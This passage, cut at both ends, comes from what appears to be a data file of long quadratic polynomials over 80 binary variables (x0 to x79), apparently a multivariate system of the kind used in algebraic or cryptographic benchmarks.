x33 + x34*x35 + x34*x36 + x34*x37 + x34*x38 + x34*x40 + x34*x43 + x34*x45 + x34*x46 + x34*x47 + x34*x49 + x34*x50 + x34*x52 + x34*x56 + x34*x61 + x34*x62 + x34*x70 + x34*x72 + x34*x73 + x34*x74 + x34*x75 + x34*x76 + x34*x77 + x34*x78 + x35*x36 + x35*x37 + x35*x38 + x35*x44 + x35*x46 + x35*x47 + x35*x49 + x35*x51 + x35*x52 + x35*x53 + x35*x54 + x35*x55 + x35*x57 + x35*x62 + x35*x63 + x35*x64 + x35*x65 + x35*x66 + x35*x69 + x35*x70 + x35*x71 + x35*x76 + x35*x78 + x35*x79 + x36*x40 + x36*x45 + x36*x46 + x36*x49 + x36*x55 + x36*x58 + x36*x59 + x36*x62 + x36*x64 + x36*x65 + x36*x66 + x36*x67 + x36*x71 + x36*x73 + x36*x74 + x36*x76 + x36*x77 + x36*x78 + x36 + x37*x38 + x37*x42 + x37*x44 + x37*x45 + x37*x46 + x37*x47 + x37*x49 + x37*x52 + x37*x53 + x37*x55 + x37*x56 + x37*x60 + x37*x61 + x37*x62 + x37*x63 + x37*x64 + x37*x65 + x37*x67 + x37*x69 + x37*x70 + x37*x71 + x37*x78 + x37*x79 + x37 + x38*x39 + x38*x40 + x38*x42 + x38*x48 + x38*x49 + x38*x51 + x38*x55 + x38*x56 + x38*x57 + x38*x58 + x38*x64 + x38*x65 + x38*x71 + x38*x72 + x38*x73 + x38*x74 + x38*x76 + x38*x77 + x38*x79 + x39*x40 + x39*x41 + x39*x42 + x39*x44 + x39*x45 + x39*x47 + x39*x49 + x39*x52 + x39*x54 + x39*x55 + x39*x56 + x39*x57 + x39*x58 + x39*x60 + x39*x66 + x39*x67 + x39*x68 + x39*x70 + x39*x71 + x39*x72 + x39*x73 + x39*x74 + x39*x75 + x39*x76 + x39*x77 + x39*x78 + x39*x79 + x40*x41 + x40*x43 + x40*x44 + x40*x45 + x40*x48 + x40*x49 + x40*x53 + x40*x54 + x40*x56 + x40*x57 + x40*x58 + x40*x59 + x40*x60 + x40*x61 + x40*x63 + x40*x70 + x40*x71 + x40*x74 + x41*x44 + x41*x45 + x41*x47 + x41*x49 + x41*x51 + x41*x56 + x41*x60 + x41*x61 + x41*x62 + x41*x64 + x41*x65 + x41*x66 + x41*x71 + x41*x73 + x41*x75 + x41*x76 + x41*x78 + x42*x43 + x42*x44 + x42*x45 + x42*x48 + x42*x49 + x42*x50 + x42*x51 + x42*x52 + x42*x53 + x42*x55 + x42*x62 + x42*x64 + x42*x65 + x42*x67 + x42*x69 + x42*x72 + x42*x73 + x42*x77 + x42*x78 + x43*x44 + x43*x45 + x43*x48 + x43*x49 + x43*x50 + x43*x53 + x43*x58 + x43*x59 + x43*x65 + x43*x66 + x43*x67 + x43*x69 + x43*x71 + x43*x73 + x43*x74 + x43*x75 + x43*x76 + x43*x79 + x44*x46 + x44*x47 + x44*x48 + x44*x49 + x44*x53 + x44*x54 + x44*x57 + x44*x59 + x44*x62 + x44*x64 + x44*x65 + x44*x70 + x44*x72 + x44*x77 + x44*x78 + x44*x79 + x45*x48 + x45*x49 + x45*x51 + x45*x52 + x45*x54 + x45*x56 + x45*x59 + x45*x60 + x45*x61 + x45*x62 + x45*x63 + x45*x67 + x45*x69 + x45*x71 + x45*x74 + x45*x77 + x45*x78 + x45*x79 + x45 + x46*x48 + x46*x51 + x46*x52 + x46*x56 + x46*x57 + x46*x59 + x46*x64 + x46*x65 + x46*x66 + x46*x68 + x46*x70 + x46*x71 + x46*x74 + x46*x76 + x46 + x47*x49 + x47*x50 + x47*x52 + x47*x55 + x47*x58 + x47*x60 + x47*x61 + x47*x64 + x47*x65 + x47*x67 + x47*x71 + x47*x72 + x47*x73 + x48*x50 + x48*x52 + x48*x53 + x48*x56 + x48*x57 + x48*x58 + x48*x59 + x48*x73 + x48*x75 + x48*x77 + x49*x51 + x49*x53 + x49*x55 + x49*x57 + x49*x58 + x49*x59 + x49*x62 + x49*x68 + x49*x69 + x49*x70 + x49*x71 + x49*x72 + x49*x74 + x49*x76 + x49*x77 + x49*x79 + x50*x51 + x50*x53 + x50*x54 + x50*x55 + x50*x56 + x50*x59 + x50*x61 + x50*x62 + x50*x64 + x50*x65 + x50*x69 + x50*x70 + x50*x72 + x50*x76 + x50*x77 + x50*x79 + x50 + x51*x54 + x51*x56 + x51*x62 + x51*x64 + x51*x65 + x51*x66 + x51*x67 + x51*x70 + x51*x74 + x52*x54 + x52*x56 + x52*x58 + x52*x60 + x52*x63 + x52*x64 + x52*x65 + x52*x66 + x52*x72 + x52*x73 + x52*x74 + x52*x76 + x52*x78 + x52*x79 + x52 + x53*x54 + x53*x57 + x53*x59 + x53*x60 + x53*x63 + x53*x65 + x53*x69 + x53*x71 + x53*x72 + x53*x73 + x53*x74 + x53*x75 + x53*x76 + x53*x77 + x53*x79 + x53 + x54*x56 + x54*x64 + x54*x65 + x54*x66 + x54*x68 + x54*x70 + x54*x72 + x54*x75 + x54*x76 + x54*x79 + x55*x56 + x55*x58 + x55*x62 + x55*x64 + x55*x67 + x55*x69 + x55*x70 + x55*x72 + x55*x75 + x55*x76 + x55 + x56*x57 + x56*x58 + x56*x60 + x56*x63 + x56*x66 + x56*x68 + x56*x69 + x56*x76 + x56*x77 + x56*x78 + x56*x79 + x57*x58 + x57*x60 + x57*x61 + x57*x62 + x57*x63 + x57*x64 + x57*x65 + x57*x66 + x57*x67 + x57*x68 + x57*x70 + x57*x73 + x57*x74 + x57*x75 + x57*x76 + x57*x78 + x58*x59 + x58*x60 + x58*x61 + x58*x62 + x58*x71 + x58*x77 + x58*x79 + x58 + x59*x60 + x59*x63 + x59*x64 + x59*x66 + x59*x69 + x59*x71 + x59*x74 + x59*x77 + x59*x78 + x59 + x60*x61 + x60*x62 + x60*x64 + x60*x65 + x60*x69 + x60*x70 + x60*x73 + x60*x74 + x60*x76 + x60*x77 + x60*x78 + x61*x70 + x61*x73 + x61*x74 + x61*x76 + x61*x79 + x61 + x62*x65 + x62*x68 + x62*x71 + x62*x73 + x62*x74 + x62*x76 + x62*x77 + x62*x78 + x63*x64 + x63*x65 + x63*x67 + x63*x70 + x63*x71 + x63*x74 + x63*x75 + x63*x76 + x63*x79 + x64*x66 + x64*x67 + x64*x68 + x64*x69 + x64*x73 + x64*x76 + x64*x77 + x64*x79 + x64 + x65*x67 + x65*x69 + x65*x70 + x65*x71 + x65*x73 + x65*x75 + x65*x79 + x66*x67 + x66*x68 + x66*x69 + x66*x70 + x66*x73 + x66*x75 + x66*x77 + x66*x78 + x66 + x67*x73 + x67*x75 + x67*x78 + x68*x69 + x68*x70 + x68*x73 + x68*x77 + x68*x78 + x68*x79 + x69*x71 + x69*x72 + x69*x74 + x69*x75 + x69*x78 + x69 + x70*x72 + x70*x73 + x70*x76 + x70*x77 + x70 + x71*x72 + x71*x74 + x71*x78 + x71*x79 + x72*x74 + x72*x75 + x72*x77 + x72*x79 + x72 + x73*x75 + x73*x76 + x73*x77 + x73*x78 + x73 + x74*x75 + x74*x76 + x74*x79 + x74 + x75*x78 + x75 + x76*x78 + x76*x79 + x76 + x77*x78 + x77 + x79, x0*x2 + x0*x4 + x0*x6 + x0*x7 + x0*x8 + x0*x9 + x0*x10 + x0*x11 + x0*x14 + x0*x16 + x0*x17 + x0*x19 + x0*x20 + x0*x24 + x0*x25 + x0*x26 + x0*x32 + x0*x33 + x0*x35 + x0*x36 + x0*x38 + x0*x39 + x0*x40 + x0*x41 + x0*x44 + x0*x47 + x0*x48 + x0*x50 + x0*x52 + x0*x55 + x0*x56 + x0*x58 + x0*x59 + x0*x60 + x0*x61 + x0*x64 + x0*x73 + x0*x75 + x0*x77 + x0 + x1*x2 + x1*x7 + x1*x9 + x1*x11 + x1*x12 + x1*x15 + x1*x18 + x1*x19 + x1*x23 + x1*x24 + x1*x27 + x1*x28 + x1*x33 + x1*x38 + x1*x43 + x1*x44 + x1*x46 + x1*x50 + x1*x51 + x1*x52 + x1*x56 + x1*x60 + x1*x61 + x1*x62 + x1*x64 + x1*x67 + x1*x68 + x1*x69 + x1*x73 + x1*x74 + x1*x75 + x1*x76 + x1*x79 + x1 + x2*x3 + x2*x5 + x2*x7 + x2*x8 + x2*x10 + x2*x15 + x2*x17 + x2*x18 + x2*x20 + x2*x21 + x2*x24 + x2*x25 + x2*x27 + x2*x31 + x2*x33 + x2*x34 + x2*x35 + x2*x39 + x2*x40 + x2*x41 + x2*x44 + x2*x45 + x2*x46 + x2*x47 + x2*x50 + x2*x51 + x2*x52 + x2*x53 + x2*x54 + x2*x56 + x2*x60 + x2*x62 + x2*x63 + x2*x64 + x2*x66 + x2*x67 + x2*x69 + x2*x70 + x2*x71 + x2*x74 + x2*x75 + x2*x77 + x2*x78 + x3*x4 + x3*x6 + x3*x7 + x3*x8 + x3*x11 + x3*x12 + x3*x15 + x3*x16 + x3*x19 + x3*x21 + x3*x22 + x3*x24 + x3*x25 + x3*x26 + x3*x28 + x3*x32 + x3*x33 + x3*x36 + x3*x37 + x3*x39 + x3*x45 + x3*x47 + x3*x48 + x3*x51 + x3*x54 + x3*x55 + x3*x57 + x3*x60 + x3*x63 + x3*x65 + x3*x68 + x3*x69 + x3*x72 + x3*x75 + x3*x76 + x3*x77 + x3*x78 + x4*x5 + x4*x12 + x4*x13 + x4*x16 + x4*x19 + x4*x20 + x4*x21 + x4*x22 + x4*x24 + x4*x25 + x4*x27 + x4*x29 + x4*x33 + x4*x34 + x4*x35 + x4*x36 + x4*x39 + x4*x43 + x4*x44 + x4*x49 + x4*x50 + x4*x54 + x4*x57 + x4*x58 + x4*x59 + x4*x60 + x4*x61 + x4*x64 + x4*x65 + x4*x66 + x4*x71 + x4*x74 + x4*x78 + x5*x7 + x5*x10 + x5*x12 + x5*x14 + x5*x17 + x5*x20 + x5*x22 + x5*x23 + x5*x24 + x5*x28 + x5*x31 + x5*x34 + x5*x35 + x5*x36 + x5*x37 + x5*x40 + x5*x41 + x5*x42 + x5*x43 + x5*x45 + x5*x47 + x5*x48 + x5*x49 + x5*x50 + x5*x51 + x5*x58 + x5*x59 + x5*x60 + x5*x65 + x5*x67 + x5*x68 + x5*x71 + x5*x72 + x5*x73 + x5*x78 + x5*x79 + x6*x10 + x6*x11 + x6*x13 + x6*x14 + x6*x17 + x6*x18 + x6*x24 + x6*x28 + x6*x29 + x6*x32 + x6*x33 + x6*x34 + x6*x36 + x6*x37 + x6*x38 + x6*x40 + x6*x41 + x6*x45 + x6*x46 + x6*x47 + x6*x48 + x6*x49 + x6*x50 + x6*x54 + x6*x55 + x6*x56 + x6*x57 + x6*x61 + x6*x62 + x6*x63 + x6*x65 + x6*x67 + x6*x69 + x6*x71 + x6*x72 + x6*x74 + x6*x79 + x6 + x7*x10 + x7*x11 + x7*x12 + x7*x13 + x7*x14 + x7*x15 + x7*x17 + x7*x18 + x7*x21 + x7*x24 + x7*x25 + x7*x27 + x7*x29 + x7*x31 + x7*x32 + x7*x33 + x7*x35 + x7*x37 + x7*x38 + x7*x42 + x7*x43 + x7*x44 + x7*x46 + x7*x47 + x7*x48 + x7*x49 + x7*x53 + x7*x54 + x7*x55 + x7*x58 + x7*x59 + x7*x60 + x7*x61 + x7*x62 + x7*x64 + x7*x66 + x7*x67 + x7*x69 + x7*x72 + x7*x74 + x7*x75 + x7*x76 + x7*x77 + x7*x78 + x7 + x8*x9 + x8*x12 + x8*x15 + x8*x16 + x8*x17 + x8*x20 + x8*x21 + x8*x22 + x8*x23 + x8*x24 + x8*x25 + x8*x27 + x8*x28 + x8*x29 + x8*x30 + x8*x32 + x8*x39 + x8*x40 + x8*x44 + x8*x45 + x8*x49 + x8*x56 + x8*x58 + x8*x59 + x8*x60 + x8*x61 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x67 + x8*x68 + x8*x73 + x8*x79 + x9*x12 + x9*x14 + x9*x17 + x9*x19 + x9*x20 + x9*x22 + x9*x24 + x9*x28 + x9*x30 + x9*x31 + x9*x32 + x9*x33 + x9*x36 + x9*x38 + x9*x40 + x9*x43 + x9*x49 + x9*x50 + x9*x51 + x9*x52 + x9*x55 + x9*x57 + x9*x58 + x9*x59 + x9*x60 + x9*x61 + x9*x62 + x9*x63 + x9*x66 + x9*x67 + x9*x73 + x9*x76 + x9*x77 + x9 + x10*x11 + x10*x14 + x10*x16 + x10*x20 + x10*x25 + x10*x28 + x10*x31 + x10*x33 + x10*x34 + x10*x36 + x10*x37 + x10*x39 + x10*x40 + x10*x41 + x10*x42 + x10*x43 + x10*x45 + x10*x47 + x10*x50 + x10*x51 + x10*x55 + x10*x56 + x10*x59 + x10*x60 + x10*x61 + x10*x62 + x10*x64 + x10*x65 + x10*x69 + x10*x71 + x10*x72 + x10*x73 + x10*x78 + x10*x79 + x11*x12 + x11*x13 + x11*x15 + x11*x17 + x11*x18 + x11*x21 + x11*x24 + x11*x25 + x11*x28 + x11*x31 + x11*x32 + x11*x34 + x11*x35 + x11*x38 + x11*x43 + x11*x45 + x11*x46 + x11*x47 + x11*x51 + x11*x57 + x11*x59 + x11*x61 + x11*x64 + x11*x65 + x11*x66 + x11*x69 + x11*x71 + x11*x73 + x11*x74 + x11 + x12*x13 + x12*x14 + x12*x15 + x12*x17 + x12*x21 + x12*x25 + x12*x26 + x12*x27 + x12*x28 + x12*x29 + x12*x32 + x12*x36 + x12*x37 + x12*x38 + x12*x40 + x12*x42 + x12*x44 + x12*x51 + x12*x53 + x12*x54 + x12*x57 + x12*x61 + x12*x62 + x12*x64 + x12*x67 + x12*x68 + x12*x70 + x12*x72 + x12*x73 + x12*x74 + x12*x75 + x12*x76 + x12*x78 + x12*x79 + x13*x14 + x13*x16 + x13*x17 + x13*x18 + x13*x19 + x13*x20 + x13*x21 + x13*x22 + x13*x23 + x13*x24 + x13*x27 + x13*x32 + x13*x33 + x13*x34 + x13*x35 + x13*x37 + x13*x44 + x13*x50 + x13*x51 + x13*x52 + x13*x55 + x13*x56 + x13*x59 + x13*x60 + x13*x62 + x13*x63 + x13*x64 + x13*x65 + x13*x68 + x13*x76 + x13 + x14*x16 + x14*x17 + x14*x20 + x14*x21 + x14*x22 + x14*x25 + x14*x29 + x14*x30 + x14*x31 + x14*x32 + x14*x35 + x14*x38 + x14*x39 + x14*x43 + x14*x45 + x14*x46 + x14*x48 + x14*x49 + x14*x51 + x14*x52 + x14*x53 + x14*x57 + x14*x59 + x14*x60 + x14*x62 + x14*x64 + x14*x65 + x14*x66 + x14*x67 + x14*x69 + x14*x71 + x14*x72 + x14*x73 + x14*x76 + x14*x77 + x14 + x15*x16 + x15*x20 + x15*x25 + x15*x26 + x15*x31 + x15*x36 + x15*x37 + x15*x38 + x15*x39 + x15*x40 + x15*x41 + x15*x42 + x15*x44 + x15*x45 + x15*x47 + x15*x51 + x15*x54 + x15*x55 + x15*x57 + x15*x63 + x15*x64 + x15*x65 + x15*x69 + x15*x70 + x15*x75 + x15*x76 + x15*x79 + x15 + x16*x18 + x16*x19 + x16*x20 + x16*x21 + x16*x23 + x16*x24 + x16*x25 + x16*x26 + x16*x29 + x16*x31 + x16*x33 + x16*x37 + x16*x38 + x16*x41 + x16*x42 + x16*x44 + x16*x45 + x16*x46 + x16*x47 + x16*x49 + x16*x53 + x16*x56 + x16*x57 + x16*x58 + x16*x60 + x16*x62 + x16*x63 + x16*x64 + x16*x65 + x16*x68 + x16*x69 + x16*x70 + x16*x72 + x16*x77 + x16 + x17*x18 + x17*x20 + x17*x24 + x17*x25 + x17*x33 + x17*x35 + x17*x37 + x17*x38 + x17*x41 + x17*x44 + x17*x47 + x17*x48 + x17*x49 + x17*x50 + x17*x52 + x17*x55 + x17*x58 + x17*x59 + x17*x61 + x17*x65 + x17*x67 + x17*x69 + x17*x71 + x17*x72 + x17*x74 + x18*x19 + x18*x23 + x18*x25 + x18*x26 + x18*x27 + x18*x31 + x18*x32 + x18*x33 + x18*x34 + x18*x36 + x18*x38 + x18*x40 + x18*x41 + x18*x42 + x18*x44 + x18*x47 + x18*x48 + x18*x50 + x18*x51 + x18*x52 + x18*x53 + x18*x54 + x18*x55 + x18*x57 + x18*x58 + x18*x61 + x18*x62 + x18*x64 + x18*x65 + x18*x66 + x18*x70 + x18*x73 + x18*x75 + x18*x76 + x18*x77 + x18*x79 + x18 + x19*x20 + x19*x21 + x19*x25 + x19*x27 + x19*x28 + x19*x30 + x19*x31 + x19*x32 + x19*x33 + x19*x34 + x19*x35 + x19*x41 + x19*x45 + x19*x46 + x19*x48 + x19*x53 + x19*x54 + x19*x55 + x19*x61 + x19*x62 + x19*x64 + x19*x68 + x19*x72 + x19*x74 + x19*x75 + x19*x76 + x19*x77 + x19*x78 + x19 + x20*x21 + x20*x22 + x20*x27 + x20*x28 + x20*x31 + x20*x37 + x20*x38 + x20*x39 + x20*x40 + x20*x41 + x20*x42 + x20*x43 + x20*x44 + x20*x45 + x20*x46 + x20*x47 + x20*x49 + x20*x50 + x20*x56 + x20*x57 + x20*x58 + x20*x68 + x20*x72 + x20*x74 + x20*x75 + x20*x76 + x20*x78 + x21*x23 + x21*x24 + x21*x26 + x21*x27 + x21*x28 + x21*x31 + x21*x33 + x21*x36 + x21*x40 + x21*x41 + x21*x42 + x21*x46 + x21*x48 + x21*x49 + x21*x50 + x21*x53 + x21*x54 + x21*x55 + x21*x56 + x21*x64 + x21*x65 + x21*x67 + x21*x68 + x21*x69 + x21*x70 + x21*x72 + x21*x73 + x21*x74 + x21*x75 + x21*x76 + x21*x77 + x21*x79 + x21 + x22*x24 + x22*x27 + x22*x28 + x22*x29 + x22*x30 + x22*x36 + x22*x41 + x22*x48 + x22*x50 + x22*x54 + x22*x55 + x22*x57 + x22*x58 + x22*x62 + x22*x63 + x22*x64 + x22*x67 + x22*x71 + x22*x72 + x22*x75 + x22*x77 + x22*x78 + x22*x79 + x23*x25 + x23*x27 + x23*x28 + x23*x30 + x23*x32 + x23*x37 + x23*x40 + x23*x43 + x23*x44 + x23*x47 + x23*x51 + x23*x53 + x23*x54 + x23*x55 + x23*x56 + x23*x57 + x23*x59 + x23*x65 + x23*x68 + x23*x69 + x23*x74 + x23*x76 + x23*x79 + x24*x25 + x24*x26 + x24*x27 + x24*x35 + x24*x39 + x24*x44 + x24*x45 + x24*x49 + x24*x50 + x24*x52 + x24*x56 + x24*x57 + x24*x58 + x24*x59 + x24*x62 + x24*x63 + x24*x64 + x24*x65 + x24*x67 + x24*x69 + x24*x70 + x24*x73 + x24*x74 + x24*x76 + x24*x77 + x24 + x25*x26 + x25*x27 + x25*x28 + x25*x29 + x25*x30 + x25*x32 + x25*x33 + x25*x35 + x25*x37 + x25*x38 + x25*x39 + x25*x42 + x25*x44 + x25*x47 + x25*x48 + x25*x50 + x25*x54 + x25*x55 + x25*x56 + x25*x59 + x25*x61 + x25*x63 + x25*x66 + x25*x68 + x25*x71 + x25*x72 + x25*x73 + x25*x74 + x25*x77 + x25*x79 + x26*x30 + x26*x33 + x26*x34 + x26*x35 + x26*x36 + x26*x37 + x26*x38 + x26*x41 + x26*x43 + x26*x44 + x26*x45 + x26*x46 + x26*x48 + x26*x51 + x26*x53 + x26*x54 + x26*x61 + x26*x62 + x26*x63 + x26*x65 + x26*x66 + x26*x68 + x26*x69 + x26*x70 + x26*x74 + x26*x76 + x26*x77 + x26*x78 + x26*x79 + x26 + x27*x29 + x27*x31 + x27*x33 + x27*x38 + x27*x41 + x27*x42 + x27*x46 + x27*x47 + x27*x48 + x27*x50 + x27*x53 + x27*x54 + x27*x56 + x27*x59 + x27*x62 + x27*x63 + x27*x64 + x27*x65 + x27*x66 + x27*x68 + x27*x69 + x27*x71 + x27*x72 + x27*x73 + x27*x74 + x27*x77 + x28*x29 + x28*x31 + x28*x34 + x28*x37 + x28*x39 + x28*x40 + x28*x41 + x28*x42 + x28*x46 + x28*x51 + x28*x52 + x28*x53 + x28*x56 + x28*x57 + x28*x62 + x28*x64 + x28*x67 + x28*x68 + x28*x73 + x28*x75 + x28*x77 + x28*x78 + x28*x79 + x29*x30 + x29*x35 + x29*x37 + x29*x38 + x29*x43 + x29*x45 + x29*x46 + x29*x47 + x29*x48 + x29*x49 + x29*x51 + x29*x52 + x29*x55 + x29*x57 + x29*x58 + x29*x61 + x29*x63 + x29*x64 + x29*x69 + x29*x70 + x29*x71 + x29*x74 + x29*x77 + x29*x78 + x29*x79 + x29 + x30*x34 + x30*x35 + x30*x36 + x30*x39 + x30*x40 + x30*x41 + x30*x42 + x30*x43 + x30*x44 + x30*x47 + x30*x48 + x30*x50 + x30*x51 + x30*x53 + x30*x55 + x30*x59 + x30*x60 + x30*x62 + x30*x67 + x30*x68 + x30*x70 + x30*x74 + x30*x78 + x31*x33 + x31*x35 + x31*x36 + x31*x39 + x31*x40 + x31*x41 + x31*x43 + x31*x44 + x31*x45 + x31*x50 + x31*x52 + x31*x53 + x31*x55 + x31*x56 + x31*x58 + x31*x60 + x31*x61 + x31*x63 + x31*x64 + x31*x67 + x31*x68 + x31*x72 + x31*x74 + x31*x75 + x31*x76 + x32*x33 + x32*x35 + x32*x37 + x32*x40 + x32*x41 + x32*x42 + x32*x44 + x32*x46 + x32*x47 + x32*x50 + x32*x54 + x32*x56 + x32*x60 + x32*x61 + x32*x65 + x32*x73 + x32*x74 + x32*x76 + x32*x79 + x33*x36 + x33*x39 + x33*x40 + x33*x41 + x33*x42 + x33*x44 + x33*x49 + x33*x50 + x33*x51 + x33*x56 + x33*x57 + x33*x59 + x33*x60 + x33*x62 + x33*x63 + x33*x64 + x33*x65 + x33*x66 + x33*x67 + x33*x68 + x33*x70 + x33*x71 + x33*x72 + x33*x73 + x33*x74 + x33*x75 + x34*x38 + x34*x41 + x34*x42 + x34*x44 + x34*x46 + x34*x48 + x34*x51 + x34*x52 + x34*x55 + x34*x57 + x34*x58 + x34*x59 + x34*x60 + x34*x61 + x34*x62 + x34*x64 + x34*x65 + x34*x67 + x34*x69 + x34*x70 + x34*x71 + x34*x72 + x34*x77 + x34*x78 + x35*x36 + x35*x38 + x35*x40 + x35*x42 + x35*x46 + x35*x47 + x35*x48 + x35*x50 + x35*x55 + x35*x58 + x35*x62 + x35*x65 + x35*x66 + x35*x68 + x35*x70 + x35*x73 + x35*x75 + x35*x77 + x35*x78 + x35*x79 + x35 + x36*x38 + x36*x40 + x36*x41 + x36*x43 + x36*x44 + x36*x46 + x36*x48 + x36*x52 + x36*x53 + x36*x54 + x36*x56 + x36*x57 + x36*x60 + x36*x63 + x36*x66 + x36*x67 + x36*x69 + x36*x72 + x36*x73 + x36*x74 + x36*x75 + x36*x77 + x36*x78 + x37*x38 + x37*x39 + x37*x43 + x37*x44 + x37*x47 + x37*x49 + x37*x53 + x37*x57 + x37*x59 + x37*x61 + x37*x62 + x37*x64 + x37*x65 + x37*x67 + x37*x70 + x37*x76 + x37*x79 + x38*x39 + x38*x41 + x38*x43 + x38*x45 + x38*x46 + x38*x48 + x38*x49 + x38*x51 + x38*x58 + x38*x60 + x38*x61 + x38*x62 + x38*x63 + x38*x67 + x38*x73 + x38*x74 + x38*x75 + x38*x78 + x38*x79 + x38 + x39*x43 + x39*x44 + x39*x46 + x39*x47 + x39*x49 + x39*x50 + x39*x51 + x39*x54 + x39*x55 + x39*x58 + x39*x61 + x39*x62 + x39*x64 + x39*x67 + x39*x68 + x39*x73 + x39*x76 + x39*x78 + x39 + x40*x41 + x40*x42 + x40*x43 + x40*x44 + x40*x47 + x40*x48 + x40*x50 + x40*x51 + x40*x52 + x40*x53 + x40*x54 + x40*x55 + x40*x56 + x40*x59 + x40*x61 + x40*x63 + x40*x69 + x40*x71 + x40*x74 + x40*x76 + x40*x79 + x40 + x41*x43 + x41*x44 + x41*x45 + x41*x47 + x41*x48 + x41*x49 + x41*x50 + x41*x53 + x41*x54 + x41*x55 + x41*x57 + x41*x58 + x41*x62 + x41*x63 + x41*x64 + x41*x67 + x41*x68 + x41*x70 + x41*x74 + x41*x75 + x41*x78 + x42*x43 + x42*x44 + x42*x46 + x42*x47 + x42*x50 + x42*x51 + x42*x52 + x42*x53 + x42*x54 + x42*x57 + x42*x58 + x42*x65 + x42*x66 + x42*x69 + x42*x71 + x42*x74 + x42*x75 + x42*x76 + x42*x77 + x42*x79 + x42 + x43*x44 + x43*x48 + x43*x49 + x43*x50 + x43*x51 + x43*x54 + x43*x60 + x43*x61 + x43*x62 + x43*x63 + x43*x65 + x43*x66 + x43*x67 + x43*x69 + x43*x71 + x43*x73 + x43*x74 + x43*x77 + x44*x45 + x44*x46 + x44*x48 + x44*x49 + x44*x50 + x44*x55 + x44*x56 + x44*x63 + x44*x65 + x44*x66 + x44*x67 + x44*x68 + x44*x71 + x44*x72 + x44*x73 + x44*x76 + x44*x77 + x44*x79 + x45*x51 + x45*x52 + x45*x54 + x45*x55 + x45*x58 + x45*x62 + x45*x64 + x45*x67 + x45*x71 + x45*x72 + x45*x75 + x45*x76 + x45*x77 + x45*x78 + x46*x48 + x46*x49 + x46*x50 + x46*x51 + x46*x56 + x46*x57 + x46*x59 + x46*x62 + x46*x63 + x46*x64 + x46*x73 + x46*x74 + x46*x75 + x46*x76 + x46*x78 + x47*x48 + x47*x50 + x47*x52 + x47*x54 + x47*x56 + x47*x58 + x47*x60 + x47*x61 + x47*x62 + x47*x63 + x47*x64 + x47*x69 + x47*x70 + x47*x71 + x47*x74 + x47*x75 + x48*x50 + x48*x52 + x48*x53 + x48*x54 + x48*x55 + x48*x57 + x48*x58 + x48*x60 + x48*x62 + x48*x63 + x48*x64 + x48*x65 + x48*x66 + x48*x67 + x48*x68 + x48*x69 + x48*x70 + x48*x73 + x48*x74 + x48*x75 + x48*x77 + x48*x78 + x48*x79 + x49*x51 + x49*x52 + x49*x53 + x49*x55 + x49*x56 + x49*x58 + x49*x59 + x49*x60 + x49*x62 + x49*x64 + x49*x66 + x49*x67 + x49*x69 + x49*x72 + x49*x73 + x49*x79 + x50*x58 + x50*x59 + x50*x60 + x50*x62 + x50*x63 + x50*x65 + x50*x66 + x50*x67 + x50*x68 + x50*x70 + x50*x73 + x50*x78 + x51*x53 + x51*x57 + x51*x58 + x51*x59 + x51*x61 + x51*x62 + x51*x64 + x51*x68 + x51*x70 + x51*x71 + x51*x72 + x51*x74 + x51*x75 + x51*x76 + x51*x77 + x51*x78 + x51*x79 + x51 + x52*x55 + x52*x58 + x52*x60 + x52*x61 + x52*x62 + x52*x63 + x52*x64 + x52*x65 + x52*x66 + x52*x67 + x52*x73 + x52*x76 + x52*x77 + x52*x79 + x52 + x53*x54 + x53*x55 + x53*x56 + x53*x57 + x53*x58 + x53*x63 + x53*x67 + x53*x68 + x53*x69 + x53*x71 + x53*x73 + x53*x75 + x53*x76 + x54*x55 + x54*x58 + x54*x61 + x54*x62 + x54*x66 + x54*x67 + x54*x68 + x54*x69 + x54*x72 + x54*x73 + x54*x74 + x54*x77 + x54*x78 + x54 + x55*x56 + x55*x57 + x55*x58 + x55*x60 + x55*x62 + x55*x63 + x55*x64 + x55*x66 + x55*x68 + x55*x70 + x55*x71 + x55*x73 + x55*x74 + x55*x75 + x55*x76 + x55*x77 + x55*x78 + x55*x79 + x56*x60 + x56*x62 + x56*x64 + x56*x65 + x56*x66 + x56*x67 + x56*x68 + x56*x69 + x56*x71 + x56*x72 + x56*x78 + x57*x63 + x57*x64 + x57*x65 + x57*x68 + x57*x70 + x57*x71 + x57*x77 + x58*x59 + x58*x60 + x58*x63 + x58*x64 + x58*x66 + x58*x67 + x58*x69 + x58*x70 + x58*x71 + x58*x72 + x58*x73 + x58*x76 + x58*x78 + x58*x79 + x59*x61 + x59*x62 + x59*x63 + x59*x64 + x59*x65 + x59*x66 + x59*x67 + x59*x73 + x59*x74 + x59*x79 + x60*x62 + x60*x63 + x60*x64 + x60*x67 + x60*x71 + x60*x72 + x60*x75 + x60*x76 + x60*x77 + x60*x78 + x60*x79 + x61*x63 + x61*x67 + x61*x69 + x61*x70 + x61*x73 + x61*x74 + x61*x76 + x61*x77 + x61*x79 + x61 + x62*x64 + x62*x65 + x62*x70 + x62*x73 + x62*x75 + x62*x76 + x62*x77 + x62*x79 + x62 + x63*x64 + x63*x65 + x63*x68 + x63*x70 + x63*x72 + x63*x76 + x63*x77 + x63*x78 + x64*x69 + x64*x70 + x64*x71 + x64*x72 + x64*x75 + x64*x76 + x64*x77 + x64*x78 + x64*x79 + x65*x66 + x65*x69 + x65*x71 + x65*x72 + x65*x73 + x65*x74 + x65*x76 + x65*x77 + x65*x79 + x65 + x66*x67 + x66*x70 + x66*x72 + x66*x76 + x66*x77 + x66*x78 + x66 + x67*x68 + x67*x69 + x67*x70 + x67*x76 + x67*x77 + x67*x78 + x67*x79 + x67 + x68*x69 + x68*x70 + x68*x71 + x68*x72 + x68*x73 + x68*x77 + x68*x79 + x69*x71 + x69*x73 + x69*x74 + x69*x75 + x70*x71 + x70*x73 + x70*x75 + x70*x78 + x70 + x71*x72 + x71*x73 + x71*x75 + x71*x77 + x71*x79 + x72*x74 + x72*x77 + x72*x78 + x72*x79 + x73*x76 + x73*x77 + x73*x78 + x73*x79 + x74*x76 + x75*x79 + x75 + x77*x78 + x77*x79 + 1, x0*x1 + x0*x2 + x0*x3 + x0*x4 + x0*x5 + x0*x6 + x0*x8 + x0*x9 + x0*x10 + x0*x11 + x0*x13 + x0*x15 + x0*x17 + x0*x18 + x0*x20 + x0*x21 + x0*x22 + x0*x25 + x0*x29 + x0*x30 + x0*x32 + x0*x35 + x0*x36 + x0*x37 + x0*x40 + x0*x42 + x0*x45 + x0*x46 + x0*x49 + x0*x52 + x0*x53 + x0*x54 + x0*x57 + x0*x62 + x0*x63 + x0*x65 + x0*x67 + x0*x69 + x0*x70 + x0*x71 + 